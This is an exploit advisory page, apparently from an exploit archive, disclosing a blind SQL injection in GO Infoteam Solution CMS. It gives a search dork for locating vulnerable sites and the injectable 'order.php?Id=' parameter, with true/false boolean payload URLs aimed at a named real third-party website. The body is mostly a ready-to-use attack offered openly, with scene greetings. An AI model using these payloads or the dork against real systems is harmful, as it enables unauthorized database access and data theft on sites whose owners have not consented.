GO Infoteam Solution CMS SQL Injection

2012.04.28
Credit: farbodmahini
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-89

######################################################################################## # # # Exploit Title : GO INFOTEAM solution CMS Blind SQL Injection Vulnerability # # # # Author : Secure-Land Security Team # # # # Discovered By : farbodmahini # # # # Home : Secure-Land.net # # # # Contact : farbodmahini@yahoo.fr , farbodmahini@gmail.com # # # # Portal Link : www.goinfoteam.it # # # # Security Risk : High # # # # DorK : "Powered by GO INFOTEAM solution" # # # # # ######################################################################################## # # # Expl0iT: # # # # http://[TarGeT]/order.php?Id=[Blind SQL] # # # # True # # # # http://dating.mondomeeting.com/order.php?Id=1+and+1=1 # # # # False # # # # http://dating.mondomeeting.com/order.php?Id=1+and+1=0 # # # # # ######################################################################################## # # # Special Thanks : 2MzRp-Mikili-M.Prince-0x0ptim0us # # # ######################################################################################## # # # Greetz : All Secure-Land Members - Packetstorm - 1337day - exploit-id # # # ########################################################################################

References:

http://www.goinfoteam.it/


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020, cxsecurity.com

 

Back to Top